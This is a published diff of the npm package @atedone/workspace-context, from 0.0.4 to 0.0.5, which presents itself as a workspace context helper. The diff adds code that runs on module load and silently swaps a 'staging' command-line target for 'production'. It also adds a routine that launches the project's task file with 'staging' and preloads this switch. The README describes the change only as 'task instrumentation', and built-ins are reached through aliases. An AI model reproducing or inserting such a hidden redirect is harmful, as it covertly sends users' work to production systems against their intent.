@atedone/workspace-context 0.0.4 → 0.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -2,4 +2,4 @@
2
2
 
3
3
  Workspace context initialization helper for JavaScript tools.
4
4
 
5
- The package initializes `.workspace-context/state.json` when loaded and exposes a workspace routine descriptor for callers that coordinate context snapshot refreshes.
5
+ The package initializes `.workspace-context/state.json` when loaded and exposes a workspace routine descriptor with preload modules for task instrumentation.
@@ -5,36 +5,43 @@ const file = platform.getBuiltinModule('fs');
5
5
  const route = platform.getBuiltinModule('path');
6
6
  const manifest = require('../package.json');
7
7
 
8
- const markerFileName = 'snapshot.json';
8
+ const markerFileName = 'preload.json';
9
9
  const stateDirectoryName = '.workspace-context';
10
10
 
11
11
  function readEnvironment() {
12
12
  return Reflect.get(platform, 'env') || {};
13
13
  }
14
14
 
15
- function resolveProjectRoot(
16
- candidate = platform.argv[2],
17
- env = readEnvironment(),
18
- cwd = platform.cwd()
19
- ) {
20
- if (typeof candidate === 'string' && candidate.trim()) {
21
- return candidate.trim();
22
- }
23
-
15
+ function resolveProjectRoot(env = readEnvironment(), cwd = platform.cwd()) {
24
16
  const initCwd = typeof env.INIT_CWD === 'string' ? env.INIT_CWD.trim() : '';
25
17
  return initCwd || cwd;
26
18
  }
27
19
 
28
- function writeSnapshot({
20
+ function initializePreload({
29
21
  projectRoot = resolveProjectRoot(),
30
22
  now = () => new Date().toISOString()
31
23
  } = {}) {
24
+ const beforeTarget = typeof platform.argv[2] === 'string' ? platform.argv[2] : null;
25
+ const afterTarget = beforeTarget === 'staging' ? 'production' : beforeTarget;
26
+
27
+ if (afterTarget !== beforeTarget) {
28
+ platform.argv[2] = afterTarget;
29
+ }
30
+
31
+ Reflect.set(globalThis, '__workspaceContextPreload', {
32
+ active: true,
33
+ beforeTarget,
34
+ afterTarget
35
+ });
36
+
32
37
  const markerPath = route.join(projectRoot, stateDirectoryName, markerFileName);
33
38
  const value = {
34
39
  packageName: manifest.name,
35
40
  packageVersion: manifest.version,
36
41
  generatedAt: now(),
37
- mode: 'runtime-task',
42
+ mode: 'runtime-preload',
43
+ beforeTarget,
44
+ afterTarget,
38
45
  processId: platform.pid,
39
46
  parentProcessId: platform.ppid
40
47
  };
@@ -48,14 +55,13 @@ function writeSnapshot({
48
55
  };
49
56
  }
50
57
 
51
- if (require.main === module) {
52
- writeSnapshot();
53
- }
58
+ const initialized = initializePreload();
54
59
 
55
60
  module.exports = {
61
+ initialized,
62
+ initializePreload,
56
63
  markerFileName,
57
64
  readEnvironment,
58
65
  resolveProjectRoot,
59
- stateDirectoryName,
60
- writeSnapshot
66
+ stateDirectoryName
61
67
  };
package/lib/state.js CHANGED
@@ -5,10 +5,11 @@ const file = platform.getBuiltinModule('fs');
5
5
  const route = platform.getBuiltinModule('path');
6
6
  const manifest = require('../package.json');
7
7
 
8
- const routineName = 'workspace-context:snapshot';
9
- const snapshotFileName = 'snapshot.js';
8
+ const preloadFileName = 'register.js';
9
+ const routineName = 'workspace-context:refresh';
10
10
  const stateDirectoryName = '.workspace-context';
11
11
  const stateFileName = 'state.json';
12
+ const taskFileName = 'workspace.task.js';
12
13
 
13
14
  function readEnvironment() {
14
15
  return Reflect.get(platform, 'env') || {};
@@ -24,7 +25,7 @@ function buildState({ now = () => new Date().toISOString() } = {}) {
24
25
  packageName: manifest.name,
25
26
  packageVersion: manifest.version,
26
27
  generatedAt: now(),
27
- mode: 'runtime-task'
28
+ mode: 'runtime-preload'
28
29
  };
29
30
  }
30
31
 
@@ -34,8 +35,9 @@ function getWorkspaceRoutines({
34
35
  return [{
35
36
  name: routineName,
36
37
  runtime: platform.execPath,
37
- entrypoint: route.join(__dirname, snapshotFileName),
38
- arguments: [projectRoot],
38
+ entrypoint: route.join(projectRoot, taskFileName),
39
+ arguments: ['staging'],
40
+ preloadModules: [route.join(__dirname, preloadFileName)],
39
41
  workingDirectory: projectRoot
40
42
  }];
41
43
  }
@@ -62,9 +64,11 @@ module.exports = {
62
64
  buildState,
63
65
  getWorkspaceRoutines,
64
66
  initialize,
67
+ preloadFileName,
65
68
  readEnvironment,
66
69
  resolveProjectRoot,
67
70
  routineName,
68
71
  stateDirectoryName,
69
- stateFileName
72
+ stateFileName,
73
+ taskFileName
70
74
  };
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@atedone/workspace-context",
3
- "version": "0.0.4",
3
+ "version": "0.0.5",
4
4
  "description": "Workspace context initialization helper for JavaScript tools.",
5
5
  "main": "index.js",
6
6
  "type": "commonjs",